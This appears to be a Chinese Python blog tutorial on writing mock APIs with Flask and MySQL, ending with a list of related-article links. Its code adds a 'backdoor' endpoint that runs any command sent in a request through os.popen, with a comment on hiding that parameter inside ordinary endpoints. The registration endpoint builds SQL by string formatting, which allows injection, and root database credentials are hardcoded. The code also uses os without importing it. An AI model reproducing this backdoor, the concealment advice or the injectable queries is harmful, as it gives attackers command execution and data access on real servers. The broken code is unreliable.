python学习开发mock接口


Posted in Python onApril 28, 2019

本文实例为大家分享了python学习开发mock接口的具体步骤,供大家参考,具体内容如下

#1.测试为什么要开发接口?

1)在别的接口没有开发好的时候, mock接口(模拟接口)
2)查看数据, 避免直接操作数据库

#2.开发接口的顺序

1)安装flask

flask是一个轻量级开发框架

pip install flask

2)开发一个接口

开发步骤:

1.实例化一个服务server:flask.Flask(__name__)
2.函数前加装饰器@server.route(), 将函数变为一个接口
3.启动服务server:server.run()

import flask,json,pymysql
server=flask.Flask(__name__)#__name__代表当前python文件, 把当前python文件当成一个服务
 
def opt_db(sql):
  coon=pymysql.connect(
    host='192.168.109.132',
    user='root',
    passwd='123456',
    db='besttest',
    port=3306,
    charset='utf8'
  )#建立db链接
  cur=coon.cursor()#建立游标
  cur.execute(sql);#执行sql
  if sql.strip()[:6].upper()=='SELECT':
    res=cur.fetchall()#获取sql返回
  else:
    coon.commit()
    res='ok'
  cur.close()#关闭游标
  coon.close()#关闭db链接
  return res
 
 
#get请求, 请求路径ip:port/index
@server.route('/index',methods=['get'])#装饰器,代表index函数是一个接口,支持get请求(默认get请求)
def index():
  res={'msg':'这是我开发的第一个接口','msg_code':'0'}
  return json.dumps(res,ensure_ascii=False,indent=4)
 
 
#post请求, 请求路径ip:port/reg
@server.route('/reg',methods=['post'])#装饰器,代表reg函数是一个接口,支持post请求(可以同时支持get、post请求)
def reg():
  username=flask.request.values.get('username')#获取接口入参
  pwd=flask.request.values.get('passwd')
  if username and pwd:
    sql='select * from syz_stu where username="%s";'%username
    if opt_db(sql):
      res={'msg':'用户已存在','msg_code':2001}#2001用户已存在
    else:
      insert_sql='insert into syz_stu (username,passwd) VALUES ("%s","%s");'%(username,pwd)
      opt_db(insert_sql)
      res={'msg':'注册成功','msg_code':'0'}
  else:
    res={'msg':'必填字段未填, 请查看接口文档','msg_code':1001}#1001必填字段未填
  return json.dumps(res,ensure_ascii=False,indent=4)
#后门接口
@server.route('/error',methods=['post'])#路由,访问地址为----IP:端口/error
def cmd():
  cmd = flask.request.values.get('cmd')#接口的入参
  res = os.popen(cmd)#执行用户命令
  return res.read()#返回执行结果
  #http://127.0.0.1:8999/error?cmd=rm -rf a.txt 后门接口可以直接通过浏览器删除系统文件
  #隐蔽一点的方法,把cmd = flask.request.values('cmd',None)写入正常接口
  # 默认可以不传,一但传了再res = os.popen(cmd)
 
server.run(port=6688,debug=True,host='0.0.0.0')#启动服务,接口才能访问
# port=6688指定端口为6688
# debug=True设置代码修改后服务自动重启
# host='0.0.0.0'设置同一局域网的可以访问
# server.run() 必须在所有接口定义完后再定义, 否则, server.run()检测不到之后定义的接口, 接口是无法被运行的

运行以上代码,打开浏览器,请求http://localhost:6688/index,将看到返回{'msg': '这是我开发的第一个接口', 'msg_code': 0}

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
详解Python中expandtabs()方法的使用
May 18 Python
Python学习笔记之解析json的方法分析
Apr 21 Python
python+mongodb数据抓取详细介绍
Oct 25 Python
简单实现python数独游戏
Mar 30 Python
Django 连接sql server数据库的方法
Jun 30 Python
用python代码将tiff图片存储到jpg的方法
Dec 04 Python
Python秒算24点实现及原理详解
Jul 29 Python
python 实现保存最新的三份文件,其余的都删掉
Dec 22 Python
python分布式计算dispy的使用详解
Dec 22 Python
Python如何访问字符串中的值
Feb 09 Python
django中cookiecutter的使用教程
Dec 03 Python
Python 爬取淘宝商品信息栏目的实现
Feb 06 Python
Python简单基础小程序的实例代码
Apr 28 #Python
python实现Excel文件转换为TXT文件
Apr 28 #Python
Python3.5模块的定义、导入、优化操作图文详解
Apr 27 #Python
Python3.5内置模块之time与datetime模块用法实例分析
Apr 27 #Python
Python3.5内置模块之os模块、sys模块、shutil模块用法实例分析
Apr 27 #Python
Python3.5内置模块之shelve模块、xml模块、configparser模块、hashlib、hmac模块用法分析
Apr 27 #Python
python爬取基于m3u8协议的ts文件并合并
Apr 26 #Python
You might like
PHP动态规划解决0-1背包问题实例分析
2015/03/23 PHP
php实现的三个常用加密解密功能函数示例
2017/11/06 PHP
PHP精确到毫秒秒杀倒计时实例详解
2019/03/14 PHP
Laravel 使用查询构造器配合原生sql语句查询的例子
2019/10/12 PHP
JAVASCRIPT实现的WEB页面跳转以及页面间传值方法
2010/05/13 Javascript
获取body标签的两种方法
2011/10/13 Javascript
JS Pro-深入面向对象的程序设计之继承的详解
2013/05/07 Javascript
JS打开层/关闭层/移动层动画效果的实例代码
2013/05/11 Javascript
给应用部分的js代码设定一个统一的入口
2014/06/15 Javascript
jQuery ajax serialize() 方法使用示例
2014/11/02 Javascript
jQuery多个input求和的实现方法
2015/02/12 Javascript
实例解析jQuery插件EasyUI最常用的表单验证规则
2015/11/29 Javascript
javascript中类的定义方式详解(四种方式)
2015/12/22 Javascript
原生JS实现平滑回到顶部组件
2016/03/16 Javascript
Node.js中流(stream)的使用方法示例
2017/07/16 Javascript
Vue3.0结合bootstrap创建多页面应用
2019/05/28 Javascript
p5.js绘制创意自画像
2019/11/04 Javascript
jquery实现进度条状态展示
2020/03/26 jQuery
JavaScript中变量提升和函数提升的详解
2020/08/07 Javascript
Python socket C/S结构的聊天室应用实现
2014/11/30 Python
Python使用tkinter库实现文本显示用户输入功能示例
2018/05/30 Python
django+xadmin+djcelery实现后台管理定时任务
2018/08/14 Python
Python3.7 新特性之dataclass装饰器
2019/05/27 Python
利用pyuic5将ui文件转换为py文件的方法
2019/06/19 Python
详解Python绘图Turtle库
2019/10/12 Python
使用Python-OpenCV消除图像中孤立的小区域操作
2020/07/05 Python
Python机器学习工具scikit-learn的使用笔记
2021/01/28 Python
python模块内置属性概念及实例
2021/02/18 Python
寻找迷宫的一条出路,o通路;X:障碍
2016/07/10 面试题
青年文明号服务承诺
2014/03/31 职场文书
党支部对照检查材料
2014/08/25 职场文书
捐款活动总结
2014/08/27 职场文书
专家推荐信范文
2015/03/26 职场文书
golang 如何用反射reflect操作结构体
2021/04/28 Golang
Anaconda配置各版本Pytorch的实现
2021/08/07 Python
Mysql数据库group by原理详解
2022/07/07 MySQL